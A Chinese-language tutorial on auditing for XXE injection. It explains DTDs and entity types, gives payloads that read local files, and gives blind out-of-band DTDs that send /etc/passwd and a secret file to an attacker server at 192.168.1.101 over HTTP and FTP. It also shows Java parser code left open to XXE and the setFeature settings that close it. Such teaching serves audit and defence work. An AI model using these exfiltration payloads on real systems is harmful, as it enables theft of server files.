前言
本篇记录一下审计中的XXE漏洞
0x01 关于XXE
关于DTD
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这也是一个注入,但是需要注意的是这里注入的是XML外部实体,普通的xml注入几乎没有危害。那什么是外部实体?
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么xml根据dtd定义的规范就必须像下面这样传输:
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容):
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体可以看作是变量,到时候我们可以在 XML 中通过 & 符号进行引用,那传输的xml可以是:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
DTD分类
上面最后定义的实体就是一个内部实体,而XXE中利用的外部实体注入,就是可以行外部的dtd文档中引用:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样其实就把实体分成了内部实体和外部实体,但是从另外一个维度讲,也可以分为通用实体和参数实体:
通用实体:用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体:
- 使用
% 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;
引用 - 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
注意参数实体在盲XXE中起到很大作用,下面会有演示
0x02 实例展示
敏感文件读取
<?xml version="1.0"?>
<!DOCTYPE cat [
<!ENTITY root SYSTEM "file:///">
]>
<comment> <text>&root;</text></comment>
盲XXE利用
盲XXE中xml数据注入进去没有回显,但是既然可以加载外部dtd,那么就可以自己定义一个去访问我们的服务器查看请求:
首先一个test.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">//读取的敏感文件路径
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://192.168.1.101:8080/landing?text=%file;'>">//访问攻击者服务器的请求
然后在dtd路径下起一个web服务
python3 -m http.server 8080
然后在请求中定义恶意dtd实体并最后调用
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
%dtd;
%print;
%send;
]>
然后请求中就会把敏感文件带出来
注意:这里可能就会有疑问,直接定义实体不就行吗 为啥要引用外部的dtd呢
因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。
盲XXE在java中的问题
这个问题也是师傅在审计出xxe后利用的过程中遇到的,当时一起研究探讨了一番,再次记录下。
首先我们说的利用xxe命令执行,直接获取shell,都是在php中的xxe,PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,我们可以直接执行系统命令;这种情况少有发生,而且换到了java中,并没有直接能shell的操作?
而这个记录的点,是利用JAVA中XXE进行任意文件读取,直接说下结论:
Java在Blind XXE的利用上,读取文件会有些问题,在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。
这里遇到的问题也就是这样,利用java的XXE读取一行的文件可以成功,读取多行的win.ini就没有回显,所以需要用到ftp协议回传信息。
根据zw师傅严谨的分析:java在下图中断点checkURL方法会抛异常,方法内部会去判断当前url是否包含换行符ascii(10),所以可以读没有换行符的文件,而不能读多行。
所以这里我们可以利用这个工具,利用py模拟起一个ftp,再进行接收:https://github.com/lc/230-OOB
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % print "<!ENTITY % send SYSTEM 'ftp://192.168.1.101:2121/%file;'>">
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
%dtd;
%print;
%send;
]>
0x03 java中XXE
XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………
DocumentBuilder
这是JDK自带的类,以此产生的XXE是存在回显的
对应漏洞代码:
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
SAXReader
SAXReader是第三方的库,该类是无回显的`
public String SAXReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
SAXBuilder
public String SAXBuilderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
SAXParserFactory
该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
XMLReaderFactory
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
Digester
public String DigesterVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "Digester xxe vuln code";
XMLReader
public String XMLReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "XMLReader xxe vuln code";
}
0x04 java中防御XXE
使用XML解析器时需要设置其属性,禁用DTDs或者禁止使用外部实体。
以上例中DOM - DocumentBuilderFactory为例,防御代码如下:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止外部参数实体POC攻击
参考
https://www.cnblogs.com/CoLo/p/15236414.html